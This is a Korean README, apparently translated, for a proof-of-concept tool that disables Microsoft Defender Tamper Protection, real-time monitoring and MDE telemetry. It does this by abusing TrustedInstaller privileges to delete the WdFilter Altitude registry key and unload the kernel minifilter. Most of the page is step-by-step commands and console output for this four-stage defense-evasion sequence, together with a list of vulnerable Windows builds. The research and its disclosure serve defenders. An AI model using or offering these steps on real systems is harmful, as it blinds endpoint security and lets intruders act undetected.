Tamper Protection 및 기타 Defender / MDE 구성 요소 비활성화

SYSTEM / TrustedInstaller 권한을 남용하여 WdFilter 설정(ALTITUDE 레지스트리 키)을 변조하거나 삭제하고 커널 미니드라이버를 언로드하여 Tamper Protection 및 기타 Defender 구성 요소를 비활성화할 수 있습니다. 이는 Microsoft의 Defender for Endpoint(MDE)에도 영향을 미치며, 대상에서 수행된 원격 분석(telemetry) 및 활동을 MDE가 볼 수 없게 만듭니다.

이 취약점은 테스트 중 다음 Windows 버전에 영향을 미치는 것으로 확인되었습니다:

Windows Server 2022, BuildLabEx 버전 20348.1.amd64fre.fe_release.210507-1500까지 (2024년 4월 업데이트)
Windows Server 2019
Windows 10, BuildLabEx 버전 19041.1.amd64fre.vb_release.191206-1406까지 (2024년 4월 업데이트)
Windows 11, BuildLabEx 버전 22621.1.amd64fre.ni_release.220506-1250까지 (2023년 9월 업데이트)

우회 방법과 POC를 설명하는 블로그: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components

사용법

참고: 대상에 VC_redist.x64.exe(MSVC 런타임)를 설치해야 할 수 있습니다.

POC 데모: https://youtu.be/MI6aVDHRix8

POC는 3단계로 작동합니다 (관리자 권한 필요):

C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1:      Unload WdFilter
2:      Disable Tamper Protection
3:      Disable AV/MDE
4:      Restore AV/MDE settings

POC를 사용하는 예는 다음과 같습니다:

WdFilter 언로드:

C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!

# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
        Next:   0 | Frame ID:   0 | No. of Instances:   4 | Name:        wdfilter | Altitude:          328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!

# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.

Tamper Protection 비활성화:

C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.

Defender / MDE 구성 요소 비활성화:

C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.

WdFilter 미니드라이버, TamperProtection 및 Defender 설정(실시간)을 복원/복구합니다. POC의 530행에서 Altitude 번호(기본값: 328010)를 원래 값으로 다시 변경해야 합니다.

# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.

참조

크레딧

게시자: Munaf Shariff (@m3rcer)

Altered Security의 보안 연구원

Disable-TamperProtection

인기

Tamper Protection 및 기타 Defender / MDE 구성 요소 비활성화

사용법

참조

크레딧